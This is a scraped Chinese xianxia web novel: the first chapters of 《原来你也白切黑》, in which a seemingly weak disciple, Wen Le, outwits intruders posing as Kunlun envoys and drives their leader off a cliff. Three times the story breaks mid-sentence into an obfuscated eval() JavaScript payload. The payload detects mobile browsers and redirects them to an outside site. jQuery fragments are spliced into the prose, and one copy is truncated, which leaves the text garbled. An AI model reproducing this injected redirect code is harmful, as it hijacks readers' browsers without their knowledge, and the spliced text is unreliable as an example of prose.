《原来你也白切黑》 1. 第 1 章 寒冬总是来得突然,大雪在一个清晨悄然而至,趁着人们还未察觉,铺天盖地,垫满屋檐与平地。凛冽冬风之下,山路愈发不好走,一不小心就会脚下打滑,因此只能全神贯注,将精神力放在脚步上。 互相搀扶的几人不约而同地停下脚步,在半山腰歇气。 “还要多久才到啊?”其中一位穿着单薄锦衣,提着裙摆的姑娘攥着手里就快要熄灭的炎火符。掌心的温度已经在渐渐流逝,她就快抵挡不住这突如其来的严寒。 身侧的男子正欲取下身上的披风但被她拦住,只好扭头去看另一位同伴:“确定是这么走吗?我怎么觉得我们已经绕了很久的路了。” 大抵是对身侧的姑娘关心则乱,连带着说话的语气有些斥责意味。 “没走错。”被问话的男子剑眉星目,身材魁梧,一双眼扫过看似虚弱的两人,不满的情绪一闪而过,淡淡道,“这朝阳谷外面设了数十道鬼打墙,走不完就进不去,既然知道自己这么废物,干嘛还要来。” “你……”但偏偏此人是他们之中境界最高者,关乎着此次任务的成败,被嘲讽的两人也只能敢怒不敢言。 好在他们继续走了一会儿后,终于见到同之前不一样的景色,似乎鬼打墙已经结束了。 蜿蜒的小路两侧铺满了各色的花,香味却只是淡淡的,带着一丝雨露的清香。放眼望去,花海之中站着一个瘦弱的身影。 一位裹着雪白毛领斗篷的姑娘。 左右两侧发髻垂挂着,像是兔子耳朵耷拉下来,发丝间缠绕着浅黄色的丝带,其余黑色长发披散,垂至腰间,随着冷风微微扫动。 与之相辉映的是白色斗篷下藏起的若隐若现的鹅黄色裙摆。 在色彩缤纷的花海里,这抹浅色倒显得格外突出。 尤其是她转过身来,下半张脸隐在白色面纱之下,瞧不真切,但那双眼睛却美得动人,让人不由自主地去勾勒面纱所遮住的容颜到底是何绝色。 她似乎被突然出现的三人吓到,下意识后退一步,眼里浮出惊讶之色。 “敢问姑娘可知,这朝阳谷的入口在何处?” 此人能出现在这,定是与朝阳谷关系密切之人。 他扬起手中的令牌,高声喊道。 果不其然,戴面纱的姑娘一副恍然的样子,缓步走了过来,温和的嗓音带着少女特有的轻灵:“你们便是今日来的客人?我带你们去吧。” 彪形大汉的戒备心在他悄悄用自己的识境去刺探她的实力时放进了肚子里。 黄级中境。 弱到他随便动一根手指就能用术法杀死。 甚至连他刺探她灵境实力都不会被察觉到。 只是没想到,朝阳谷中竟然还会有黄级捉妖师。这和情报中说的不大一样。 天玄地黄,各分上中下三境,一共十二境。大部分人只要勤加修炼,基本花上三个月左右就达到地级下境,留在黄级中境要么是天资太过愚钝,要么是根本没有修炼多久。 顿时,他放松下来,扬起和善的笑容:“多谢姑娘。” 三人跟在面纱姑娘身后,听她热情地介绍。 “我叫闻了,了却的了。几位侠士如何称呼?” “姑娘唤我阿宇便可。这两位是莫莫和小恒。”大块头看似有问必答,实则将重要的身份信息都模糊掉,说得不清不楚的。 好在面纱姑娘与他想象之中一样,是个单纯无害的,并未察觉到哪里有不妥,反而还觉得这样简单的称呼是与她亲近的象征。 “你们也可以唤我了了。”她弯眼笑着,好奇道,“从昆仑虚过来一定很累吧。” 阿宇面不改色,自然回道:“的确。尤其这山路不太好走。” 闻了注意到身后那叫做莫莫的姑娘唇色惨白,她手中的符纸也马上就要化为灰烬。 “用这个吧。”她从臂弯处挂着的篮子里取出三个取暖石递给三位客人,“这是我师姐做的,可好用了。” 圆润光滑的石头恰好被掌心包裹,随后开始微微泛红发热,一股暖流从掌心顺着经络遍至全身,瞬间便被暖意填满。 “闻姑娘的师姐是?”阿宇捕捉到关键字,立刻追问。 既然有师姐,说明眼前这位姑娘并非普通捉妖师,而是在朝阳谷中师从何人。 但他刚出口就意识到自己这是一时心急,担心露出马脚,便又补了一句,状似方才那句只是不经意的好奇:“闻姑娘既是这朝阳谷弟子,不知师从哪位?” 闻了倒是没有他担心的那般机敏,未曾察觉他刚刚流露出的那一丝探究深意,莞尔道:“我师父你们应该都听说过,鼎鼎大名闻人语。大师兄今日外出不在谷中,我还有两位师姐。这取暖石就是温师姐做的,她手可巧了。然后还有——” 她忽然顿住没有再往下说。 温。 身后两人敏锐地抓住信息,交换眼神,迅速将目光锁在浑然不觉的闻了身上,听她仔细介绍。 “温师姐人美心善,最喜欢做些有用的小玩意儿给我们。”她弯眼笑着,轻而易举将刚才的欲言又止掩盖过去,无害的脸上是毫无遮掩的赞美之意。好像在她心中,所提及到的这位师姐占据很重要的位置。 阿宇也配合着笑道:“看来闻姑娘的师姐是个很好的人。” “自然。”闻了攥着手里的取暖石,低眸一笑,她步子放得很慢,好像羸弱的身子支撑不了太快的脚步,走了许久,迈进一道阴影里,连带着整张脸与那雪白的面纱一同藏进视线之外,只听见她温和的嗓音。 “师姐哪都好,就是——” 她忽然噤声,没再继续说,而是抬起手,葱白修长的食指与中指并拢,对着面前的结界画了一道符咒。 朝阳谷的大门打开,露出里面别样的天光。 不似外边冰天雪地,朝阳谷正如其名,温暖和煦,阳光铺洒于脚下宽敞的道路,与谷外的寒冬一线之隔。的确如传言中所说,四季如春,美丽宜人。 阿宇这才想起,应该记一记来时的路。但他回过头去只能看见一片白茫茫,路上根本没有任何标志物可以用来作为辨认的标记。而且……这一路上闻了一直在同他们介绍朝阳谷内的各种事物,他为了从中套取有用信息,都没有顾及脚下的路是如何走的。 罢了。 阿宇敛去眼底的思索。 反正完成这一单,也不会再来了。 速战速决后只要沿着这路离开便可。 名唤莫莫的姑娘踏进这一片春色中才终于松口气,只是手中的取暖石顿时成了个烫手山芋。倒是闻了足够善解人意,立刻回过头来接过取暖石放回篮子里。 “你们来得太早了些,我师父还在闭关,约莫明日午时才出来。温师姐已为三位备好歇息的房间,我领你们过去。” 闻了正要往前走,却听身侧的姑娘脚滑受惊,身子往后仰,她便下意识抓住莫莫的手臂,扶了她一把。 也就是这时,小臂被她握住往前使劲,莫莫的手指刚好掠过她的面纱,阴差阳错撩起一小片纯白色,露出底下的光景,却将莫莫吓得叫出了声。 “啊——” 她脚下还没站稳,又迎来意料之外的一惊,忽然觉得手臂上的力道也在她尖叫的这一瞬间消失,使得她没有任何借力,一屁股摔倒在地。双重惊吓让她失神片刻,几乎忘记方才那短短一瞬发生了什么。 “莫姑娘,你还好吧?”面纱之上的那双眼睛里含着惊讶与关切,作不得假。说着,闻了便伸出双手将她搀扶起来,眉眼间还浮现几分懊恼:“怪我力气太小,没抓住你。” 这让莫莫将那点一闪而过的怀疑忘得一干二净。 “没事……”她拍了拍身上的灰,又想起方才那一眼所见之处,下意识往后撤了一步,神情不太自然,“闻姑娘先领我们去住处吧。” 闻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464353|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿若也没注意她突然的疏离,嘴角仍旧挂着温和的笑,转身走在最前面,带着三人穿过一片栽种桃花的树林,沿着幽静的小路走了一会儿。连片的厢房坐落在小路尽头,周遭安静清幽,时不时还有花香拂过鼻尖。 闻了走到第二间厢房,推开门,里面已经收拾干净,摆放着用以客人享用的茶水和点心,桌边还放着点燃的熏香,清甜的香味卷起心中的不安渐渐平息。 “三位先在这里休息吧,我就不打扰了,晚宴备好后我再来找各位。”闻了低头往后退,还贴心地为他们关上门。 脚步声消失后,一直提心吊胆的三人终于松了口气。 “可算是进来了。”唤作小恒的男子伸手不客气地给自己倒了一杯热茶,贪婪地吸食茶香。 阿宇皱眉,一挥手便在大门上贴了一张符纸,与屋外断绝声音,以防隔墙有耳。“这里人多眼杂,说话还是小心些好。”很明显是在不满小恒方才的松懈。 小恒嗤笑一声:“这不是有您这位玄级捉妖师,怕什么?” 但语气可没有多和善。 这个节骨眼上,他也并不想跟此人挑起嫌隙,转而说回正事:“既然已经进来了,抓紧想想接下来该怎么做吧。闻人语不日便会出关,我们必须得赶在这之前……把事办成。” 朝阳谷四大宗师都在闭关的好时机可是千载难逢。他们正是趁着身为谷主的闻人语尚未出关,才敢在这个时候入谷。 若是等到闻人语出关后才下手就来不及了。既会被识破身份,又会被阻挠完成任务。哪怕阿宇是玄级上境,在大宗师面前不过也只是以卵击石。 毕竟,当年名扬天下,突破十三境的五大宗师有四位都隐居于这朝阳谷。 “但是闻人语四位弟子都在,我们该如何下手?” 阿宇抿了口茶,嘴角勾起胜券在握般的笑意:“我看,从刚才那丫头处定能寻得良机。” 看上去弱不禁风,实力又弱到他轻轻松松就能制服的闻姑娘或许能成为他们下这盘棋的关键。 话题转到闻了身上,让一直保持沉默的莫莫神色一动。 小恒注意到她的不对劲,拧眉道:“打从进来你就没说过话,怎么了?可是刚刚摔到哪了?” 莫莫欲言又止,回忆起方才那一瞬的思绪和那片雪白色下骇人的一幕—— “刚刚我看见……”她压低了声音,“那个闻姑娘面纱下面遮着的脸上……全是血红的脓疮。” 一整片连在一起,比寻常的痘痘或者生出的红斑等还要扎眼。不过她只匆匆一眼便被吓得失了神,未曾看清楚那些脓疮是如何产生的。 小恒和阿宇只是稍稍惊讶一下,心里惋惜自己幻想的那张如花似玉的脸不复存在后便作罢。 原来面纱遮住的不是绝色容颜,而是旁人的嫌恶。 “难怪我闻到她身上有些药草的味道。”小恒并没莫莫想象中反应激烈,淡淡道,“那接下来要怎么从她这里下手?你可想好了?” 阿宇既然提出来,就说明他心中有数。 小恒上下打量了他片刻,忽地挑眉,露出狡黠的笑容:“莫非你要使用美男计?方才瞧她一直同你说话,似乎对你格外关注。” 阿宇身材高大强壮,样貌也算是一众普通男子中的佼佼者。那闻了既然是个丑女,又生活在这遮天蔽日的朝阳谷中,难免会对他另眼相看。 “待到晚宴,我再好好会会这位闻姑娘,兴许能从她口中打探到朝阳谷的地形。只要掌握了这些,抓那姓温的自有办法。”阿宇也没否认,若真有这种可能,对他来说是百利而无一害。 莫莫看着他俩胸有成竹地干杯痛饮,指尖缓缓摩挲着杯身,眸中黯淡,想要说些什么,却摸不到确切的路。那些莫名的担心卡在喉咙,无名无分,说不出口。 不知为何,她总觉得…… 怪怪的。 且怪就怪在,不知道是怪在哪里。 2. 第 2 章 宽敞的房间里各式用具都摆放得整整齐齐,且除了常用的床榻和桌椅,只剩下一只偌大的木箱子,再见不到其余物件,连用来装扮的鲜花亦或其他装饰都没有。看上去冷冷清清的,若不是桌上正散发热气的茶杯,还会误认为这屋子无人居住。 “那个闻姑娘面纱下面遮着的脸上……全是血红的脓疮。” 檀木色的梳妆桌旁站着一抹清瘦的淡黄色身影。 白色的面纱将她的脸藏得严严实实,只露出那双盈盈动人的桃花眼。斜前方的窗户从细小的缝隙中透过的光线打在她眼眶处,映出琥珀色的眼眸,澄亮清澈,但细细一看却不觉得单纯。 她立于一面铜镜之前,镜子上却并非她的样貌,而是幻动着另一间屋子里的光景。 “好好会会这位闻姑娘……只要掌握了这些,抓那姓温的自有办法。” 男人的声音刚落下,一阵细微的脚步声渐渐靠近,她立刻挥手散去所见到的画面,打开抽屉假装翻找东西。 “师妹。”脚步声停在门口,随即是轻轻的敲门声和女子温柔似水的嗓音。 闻了收敛起眼里的冷意,转身时换上无害的笑容:“师姐怎么过来了。” 她的视线凝在来人脸上,这张日日相见的脸已经不需要她再过多打量了。 温芙,也就是她口中那位哪哪都很好的三师姐。 同姓名一般,温芙生得温婉大气,不施粉黛就能吸引所有人的视线,一举一动都彰显她作为温家大族出生的千金大小姐所应有的气质。她性子也是如此,善解人意,温柔而包容,许多人形容她似清泉一般,自身干净平和,又能容纳一切向她投掷来的污秽,净化所有恶意。 闻了一直觉得想出这个形容的人抓到了精髓。 她来朝阳谷快三年了,深深体会到了温芙的脾性。她从未见过这么……大度的人。 温柔善良这些词已经被用烂了,闻了选择换一个词来描述。 大度。她觉得这个词也很精妙。 毕竟,除了温芙,她再没见过一个人能在自己差点被妖怪要了命后还能坐下来悉心为其疗伤。 不愧是女主角啊……闻了只能在心里感慨。 没错,在她来朝阳谷之前便已经知晓了。这世界是一个围绕着温芙展开的话本故事,女主角温芙是善良温柔的温家千金和大宗师闻人语的亲传弟子。她会经历一系列波折后同男主角迸发一段浪漫美妙的爱情故事,最后相亲相爱获得完美结局。 而她闻了,若非当初进入朝阳谷被收为徒弟,现在便是一个早早横死在街头的无名小卒。 但她还不能死。 她还有重要的事情没有完成。 在那之前,她必须打好与温芙的关系,成为她不能或缺的至交好友又或者受她怜爱的小师妹,同主角的命运相连,方能护住自己脆弱的小命。 活到现在,不得不说全然是因为她抓住了温芙这棵救命稻草。 但总有人想要将这草给连根拔起。 “我过来看看你,客人可都安顿好了?”身后的铜镜已经恢复本来的面貌,温芙并未察觉到任何可疑的地方,柔声问着,将闻了的思绪牵了回来。 她点点头,薄纱也跟随她的动作微微拂动一角,勾出温芙的关切:“脸上可好些了?平时不是每月十五才闹得厉害,怎么这两天就这么严重?” 闻了状似懊恼:“大概是前些日子去西门师父那沾了些花花草草的,提前发了。” 听她这么说,温芙一愣:“师父不是让你别去西门那边了么?” 西门师父便是朝阳谷内的四大宗师之一,西门弃。他自己门下有两位弟子,却不知为何总是唤闻了过去陪他,偶尔帮他研墨又或者打扫他那种满花草的院子。 上月师父才和他大吵一架,还嘱托闻了别再同他来往。至于缘由并没有说清楚。不过谷中弟子们都知道他们俩隔三差五就要吵一架,都已经司空见惯了。闻了猜测,不让她去西门师父那边除了是气话,也许还带有几分担忧。 西门弃,鬼道集大成者。 如今天下门派除了捉妖师修炼五行术法实属正道外,就只有阴阳道和鬼道两家。阴阳家立场居中,修习者不多,存在感也弱,而鬼道则不同。人死后不入轮回便会化作鬼魂,鬼道家行御鬼之术,能操纵这世间鬼魂,其中不乏怨念极深的恶鬼厉鬼,故有人以此控制恶鬼作乱敛财,甚至行违背天理人伦的恶事。 更何况,人终究是会死的。 鬼道家中有些人还故意锁住普通人的魂魄,断了轮回转世的去处,让其化作孤魂野鬼为鬼道所用。 此等行径自然是为正道君子所不耻。 故而这些年来,即便鬼道家并非人人如此,但鬼道的名声已经臭了,几乎人人都将其作为正道门派的对立面。 而朝阳谷内却有一个鬼道的大宗师。 外界都传言,当年五大宗师之所以决裂分支,而其中四位退出江湖纷扰,隐居于朝阳谷中,都是因为西门弃入鬼道后还修习禁术,与当时的宗师之首南宫正天决裂。而后,西门弃与其他三位宗师来到朝阳谷避世,只剩南宫正天重整旗鼓,一手撑起昆仑虚。 听起来像是这么回事,不过……没人能解答,为何明明是西门弃修习禁术,另外三位宗师却愿意同他离开,都背弃了南宫正天。 这其中缘由也只有几位大宗师心里最清楚了。 至于师父不让闻了和西门弃走得太近,或许也是考虑到鬼道家的名声和这御鬼之术的邪乎,怕她被西门师父传授些鬼道之术? “毕竟是西门师父找我,我也不好推脱。”闻了微微低头,看上去有些为难。 温芙升起一丝怜爱,小师妹向来胆小,不知道如何拒绝旁人的要求,更何况对面还是压她一头的大宗师,更是不好回绝了。身为师姐,她自然是要照顾好师妹的。 “下次他再来找你,你便说师父命你这些日子都待在青霞殿为他打点要事,走不开。若派人来请,我叫人拦着。”温芙的回答深得她心。 其实也不是闻了不喜欢西门弃。 西门师父住在幽静偏远的南峰脚下,弟子就两个,平时安静得很,她来去自如也颇得自在。只是她住北峰这头,一南一北,即便朝阳谷不算大,路程也让人吃力。加之西门弃近些日子叫她过去的次数实在太频繁,来来去去的,实在是麻烦。 闻了不喜欢麻烦自己。 但不介意麻烦别人。 “谢谢三师姐。”她弯了弯眼。 解决了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464354|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桩小事,又该看看眼前的大事了。 “昆仑虚来的那三位看上去怪怪的。”闻了拐弯抹角道。 关于使者的事情她知道得不多,只是今日才被告知去接人。连昆仑虚她也了解得少,唯一能够联系起来的只有南宫正天。 和师父曾经要好的大宗师之一,现如今昆仑虚的掌门人。 温芙笑了笑,走近坐在她旁边,伸手摸了摸她的脑袋:“了了没见过外人自然觉得奇怪。他们是特意过来邀请师父去参加昆仑问道的。” “昆仑问道?” 昆仑虚每三年举行一次的进修比拼,邀请各路各门散修、捉妖师等等齐聚昆仑虚交流切磋,并集思广益,给昆仑虚新收弟子出考题。 温芙比她清楚,娓娓道来:“昆仑问道举行之前,昆仑虚那边会派三位使者前去邀请。这等难得的盛事自然礼数也是不少的。师父叫我们好生招待着。” 他们也的确备好了干净的厢房,还打算准备一大桌子菜宴客。只是这客人……闻了垂眸敛去思索,没有做声。 “要我说——”门口同不容忽视的脚步声一同而来的还有洪亮的女声,她一袭蓝色锦衣,下身的浅白裙摆沾了些泥渍,大摇大摆走过来。 “师父前些年每次都拒绝得果断,今年却答应见这些使者,说不定就是话里有话,想让我们好好教训他们的。”她走到门槛处,半个身子斜靠在门框边上,冲闻了抬了抬下巴,算是打了个招呼。 闻了微微颔首,轻声唤道:“二师姐。” 这是她的二师姐,夏听雪。 “所以师父以前都不去昆仑问道吗?”她迷茫地眨眨眼。 这般盛大的集会往年不去,为何偏偏今年却要相迎? 夏听雪用指尖挠了挠额头,正想开口,听见身后的动静,嫌恶地撇了撇嘴,没有说话。 “是不去的。”见她闭口不言,紧跟上来的男子出声回答,还抬手擦了擦额头上的汗。 这男子便是大师兄闻人心:“可能今年想通了吧。师父还特意嘱托我们大家都必须在场,好生接待客人。待明日他出关便能知道是怎么回事了。” 闻了的目光扫过屋内屋外的三人。 一时间,她向那大块头介绍过的师兄与师姐都到齐了。 不过,还有一个……她看向大师兄身后,空无一人,心里竟像是松了口气。 大师兄对上她的视线,张口正想说话,忽然愣住。 闻了看见他的表情,收回目光往身侧看去,就见一角黑色的影子拐了个弯,一只手将窗户轻松推开后托着下巴,胳膊肘撑在窗框边上支起上半身,另一只手握着一捧不知哪采来的鲜花伸向前。 “小师姐,在找我吗?” 捧花的主人一身黑衣,黑金色发带束起高马尾,发带缠绕着发丝被风吹起而微微摆动。那双含情脉脉的眼睛看着闻了,加上少年张扬肆意的笑容,本该是会引得春心荡漾的一切,却并没有让她心动分毫。 裴知珩。 数月前刚入谷拜在师父门下的小师弟。 也是被她介绍时隐去的那半句。 闻了淡淡地瞥了他一眼。 师父门下除了师兄师姐,还有—— 一个很讨厌的家伙。 3. 第 3 章 裴知珩是三个月前来的。 按照朝阳谷的规矩,想要入谷拜师须缴纳至少一枚妖丹作为投名状。裴知珩跟闻了不太一样,他的确是带着妖丹堂堂正正入谷,又被闻人语当着众人面选中的。 而且还不止一枚妖丹,足足十枚。 虽然不知道闻人语是为什么要将他收入门中,但闻了猜测,也许是因为那十枚不知来历的妖丹,误以为此人是个可造之材,没想到只是个嘴欠的草包。 闻了之所以讨厌他,除了看出他的无能外,还因为他时不时表现出来的轻浮。 比如,拜入门下来到北峰行拜师礼的第一天,也是她和裴知珩见面的第一天。这个活在旁人各种关乎外貌仪态的赞美词中的小师弟看她第一眼就当众表白:“我喜欢你。” 闻了无语凝噎,当即在心里给他划上一个大大的叉号。十枚妖丹的含金量也被抛之脑后。并且后来在目睹这家伙修炼时看见庞大的妖物就凑到他身边,嚷嚷着要保护她,却连最基本的术法都使不出来时,闻了已经开始怀疑他到底是掺了多少水分才拿到的妖丹。 师父当真是收了一个废物徒弟。 原以为自己在朝阳谷中已经算是最弱的存在了,没想到后浪打前浪,将她掀翻在岸边。 但裴知珩本人似乎一点没有把自己的弱放在心上,不仅不潜心修炼术法,还变本加厉,一会儿拿着一堆碍眼的东西向她献礼,一会儿又紧跟在她身后问东问西,像条甩不掉的尾巴。 他像是和闻了相熟多年般,她去哪便要跟着,做什么也要陪同,还要反复追问她喜欢什么,讨厌什么。在知道下月才是闻了二十岁生辰时,裴知珩更是直接改了称呼,非要管她叫小师姐,理由是他已经年满二十岁,在岁数上略胜她一筹。 更要命的是,不管她怎么好言相劝,裴知珩都像是听不懂话一样,热情不减半分。只有在她被西门师父召去才能得半点清闲,这也是之前她为何喜欢往南峰跑的最重要原因。 总而言之,整个朝阳谷都知道,闻人师父门下有个经常戴面纱,文文静静的小师妹,还有个只黏着她的狗尾巴。连最初还因为裴知珩那副好皮囊对他倾心,想要多多与他接触的一些别门弟子都早早失了兴趣。 如今,闻了已经到了听见他的声音就觉得烦躁的地步。 此刻看着他送上前的鲜花,心头更是一股无名火升起,默默往后挪了一步,轻轻咳了两声,身旁的温芙立刻起身扶住她,冲着裴知珩嗔怪道:“师弟,了了闻不得这些花,你没见她脸上又严重了吗?快拿走。” 裴知珩将拿花的手背在身后,但却完全没有搭理温芙,只看着闻了,露出抱歉的笑容:“我下次换别的。”说罢,单手一撑,轻巧地翻身进来,站定在闻了身侧。 他忽地“嘶”了一声,手下意识捂了捂心口,又看向闻了,眼底浮出委屈的水色:“小师姐,送错了花不至于这么讨厌我吧。” 这种莫名其妙的话闻了听得多了。 她淡淡地扫了眼,表面上还是平日里那副柔柔弱弱,文静内向的模样。 “怎么会。师弟送礼物,师姐开心都来不及。”嘴角扯了个勉强的笑,但掩在面纱下,众人也不得而知。 “行了,别说这些有的没的了。”夏听雪撇撇嘴,她也不大喜欢这个小师弟。 准确地来说,任何废物都让她反感。 除了小师妹。 夏听雪是个急性子,摆摆手便往外走,刻意绕过闻人心:“晚宴马上准备好了,请那几个贵客入席吧。” 温芙深深地看了眼裴知珩,眸色暗了暗,不知在想什么,沉默了一会儿才转身跟上去。 闻了不止一次感受到过这两人之间涌动的暗流。 裴知珩总跟着她,在明面上几乎没看到他和温芙有过什么交流,私底下就不得而知了。倒也从没在旁人嘴里听过有关这二人之间的八卦。好像温芙和裴知珩如果不是同门,本应该八竿子打不着,再无其他瓜葛。 但闻了观察到,裴知珩对她格外殷勤外,对其他人虽然算不上热情,态度倒也温和礼貌,每每在温芙面前却是不爱搭理她,冷冷淡淡的。似乎温芙也被这种态度所困扰,时不时主动搭话换来冷漠后总会露出刚才那般黯然神伤的表情。 有些微妙。 也许只是自己想多了。 …… 晚宴开始的时候,天只刚刚被夜色浸染,月上枝头时,远处还挂着淡淡的晚霞。 这顿仅仅由闻人语门下四位弟子招待的晚餐倒是不显寒酸,按照温芙的吩咐准备得充分,极尽待客之道。 夏听雪原本对昆仑虚来的客人不太在意,但见到那大块头时,发现自己无法探出对方的灵境,心中暗惊。 不愧是昆仑虚来的使者,实力果然不容小觑。 她端坐身子,整肃神色。 “久闻大宗师盛名,今日能在此见到诸位,也是倍感荣幸。这酒是从昆仑虚带来的,我们师父特意嘱托定要让道友们都尝尝。”阿宇率先举起酒杯,笑着饮下。 闻人心推脱两下,然后硬着头皮小酌几口,顿时面露喜色:“不愧是昆仑虚的佳酿。” “闻人兄喜欢就多喝点。”阿宇侧头,端着酒瓶想要往闻了的杯子里倒,“了了妹妹也尝尝?” 了了妹妹? 坐在闻了右侧的裴知珩抬起头,挑眉看向这个大块头。 身材魁梧,样貌……啧,比不上他分毫。完全不用担心—— “谢谢阿宇哥。” 阿宇哥? 裴知珩脸一黑,伸手拦住酒瓶,还顺带将杯子往自己这移了几分,眼疾手快地倒上茶水。 “不必了,我小师姐身体有恙,喝不得酒。留着你自己品味吧。” 想说的台词被他抢了去,闻了轻声细语回道:“谢谢阿宇哥,不过我从不沾酒,就没办法品尝这佳酿了。” 阿宇笑意不减:“无碍。”他视线上抬,瞧见对方探究的目光,心里疑惑。 之前似乎没有听闻了提起她还有个师弟。 不过——他看见裴知珩带着怨气地将酒一饮而尽——没什么好担心的。 在场几人,除了闻了都喝下了那瓶酒。 餐桌上的话题大都围绕着昆仑虚和朝阳谷展开,说话的人精神昂扬,旁人却觉得无聊。 吃到一半时,闻了觉得闷便提出到院子外吹吹风,裴知珩本来跟着,但走了几圈在拐角处一不留神就弄丢了她,到处找都没找到,最后悻悻回桌,才发现阿宇也不知何时离了席。 而闻了在离院子不远处的凉亭遇见了阿宇。 “看你离开太久,有些担心。”阿宇从怀中掏出一盒被精细包装起来的点心,“这是我从昆仑虚带来的,你都没怎么吃东西,尝尝这个。” 闻了轻声谢过,毫不设防地吃下糕点,嘴里一股淡淡的清香。 接着,阿宇抛出话题,从闻了喜欢什么问到她的生平往事,似是要走进她的内心深处。而她都一五一十托盘而出。 眼看着小姑娘的心房已经逐渐敞开,阿宇终于将话题成功地引到朝阳谷的地形上。 闻了一五一十地跟他描述了谷中几个进出的路线,如他所料那般单纯地将所有事情都被套得干干净净。 “不过,有个地方可千万不能去。”闻了眨眨眼,像是想到了害怕的事情,伸手指了指远处的标志物,“到了那再往南边走有一处高崖,师父说那一块是禁地,一旦掉下去连骨头都捡不回来。虽然禁地里面有宝贝,但高崖太吓人了,我们都不敢靠近。” “宝贝?”阿宇神色松动。 闻了点点头:“是呀,好像是哪个门派传下来的秘籍和一些金银珠宝吧,但被放在禁地里就是不让人碰。好多人去差点回不来,都怪那高崖太危险了。” 她收回手,亮晶晶的桃花眼看着阿宇的双眸,干净清澈的,带着一丝好奇:“阿宇哥想要宝贝吗?” 阿宇晃了晃神,眼底一瞬而过的欲念消散彻底,笑道:“怎么会。” “可惜,我觉得阿宇哥很厉害,肯定能拿到……”少女清甜的嗓音渐渐衰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冷不丁的一声,让阿宇脊背发凉,下意识转过身来,对上与他不过只有两米距离的闻了。 她不是中了毒?怎么会? 阿宇心生警惕,但面前的人还和之前所见的那个柔弱姑娘如出一辙,两手空空,没有任何武器。凭她的灵境实力,完全不是他的对手,他其实无须担心。 只是她的突然出现实在诡异,让他不禁咽了咽口水,不敢轻举妄动。 “闻姑娘,怎么在这?” “我看大家都不见了,想着阿宇哥可能来找宝贝,便到这来。果然,阿宇哥嘴上不说,心里还是很想要的。”闻了轻声笑着,桃花眼弯成月牙,明明是一如既往的笑容,却让阿宇此刻心里发怵。 阿宇的手伸进腰间的挎包里,不动声色地摸着里面的刀,嘴角挂着虚情假意的笑:“闻姑娘骗我,这里根本没有什么宝藏。” “啊。”闻了走近了两步,歪歪头,“对不起,我不知道阿宇哥不喜欢被人骗。” 阿宇没打算跟她废话,想要拿出刀直接了结了这个手无缚鸡之力的小姑娘,连术法都不需要使用。但他还没动,闻了又道:“那你知道我不喜欢哪种人吗?” 没等他回答,闻了自问自答:“没礼貌的。” 那双桃花眼里的笑意陡然褪去,琥珀色的瞳孔忽地变化,闪烁刺目的血红色,让阿宇怔在原地,竟动弹不得。 她又走近几步,一个弱小单薄的身子在魁梧高大的男人面前显得那般渺小,却像是根本没把他放在眼里。 “比如,随便刺探别人灵境的人。” 她唇角勾起,伸出手,纤细的手指点在阿宇的肩膀处,轻轻一推。 男人陡然往后倒,只在那一瞬手挣脱出来抓了一下,只勾走那洁白的面纱,在弥留之际的最后一眼看见藏在面纱下的脸。 红斑疮痕已经消退,只留下淡淡的痕迹,而褪去的骇人斑痕下隐藏的东西显现出来,在夜色下看不真切,只知道在她右侧脸颊有一道血红色的纹路。 阿宇总觉得,他是见过的。 但没有时间留给他想起。 耳边也只剩下来自深渊般悠扬的声音。似乎是在这之前传来的,留在他的模糊记忆里。 那个吃着糕点的姑娘用血红色的双眸看着他,轻声说道: “去找宝贝吧,然后——” “跳下去。” 4. 第 4 章 底下的深渊如魔鬼的血盆大口,深不见底,人坠入其中必定是留不下全尸,哪怕是一个玄级灵境的修士。 啧。 闻了后退一步,心里有些烦躁。 若非玄级,她根本不需要再亲自过来一趟。 只可惜面纱也跟着去陪了葬。 她摸了摸脸,能感觉到脸侧的纹路虽然模糊,但肉眼定是还能看得出来。没有了面纱遮挡,不可能就这样出现在众人面前。 地上的刀闪动着银光。 是从阿宇身上掉下来的。 不容她多想,身后有一阵细微的脚步声伴随着着急的呼吸,和熟悉的气息。 闻了立刻倒地,胡乱将头发和衣裙弄得凌乱一些,右手拿起刀往脸上一划,没有半分犹豫,随即便将刀扔在一边,整个身子软下来。 “师妹!”夏听雪看见那柔弱的身影,立刻认出了她,着急忙慌地跑上前将闻了扶起,“这是怎么了?” 眼看着师妹眼中豆大的泪珠不断涌出,脸上脏兮兮的,右侧脸颊还有一道醒目的伤痕正不停往外渗血,夏听雪心中惊骇,都顾不上细看,赶紧撕下一片衣袖替她捂住伤口。 “师姐,我……我好像杀人了——”闻了害怕极了,双手不住颤抖着,透亮的琥珀色瞳孔因盈满泪水而楚楚可怜,还带着真切的惶恐害怕。 夏听雪看了看周遭,悬崖边的草有些凌乱,地上还躺着一把带血的刀,想来这就是伤了师妹的凶器。但除此之外,却不见凶手,可想而知—— “可是那三个人要害你?人呢?别急,慢慢说。” 闻了点点头。 “阿宇哥听说禁地这边有宝藏,非要我带他来找。我想走,他就用刀威胁我,说、说要我带他找到宝藏然后带他们出谷。我假意要跑,结果他发起疯来用刀伤我……”闻了说着,身子像是后怕至极而微微颤抖,夏听雪只好顺着她的背安抚着。 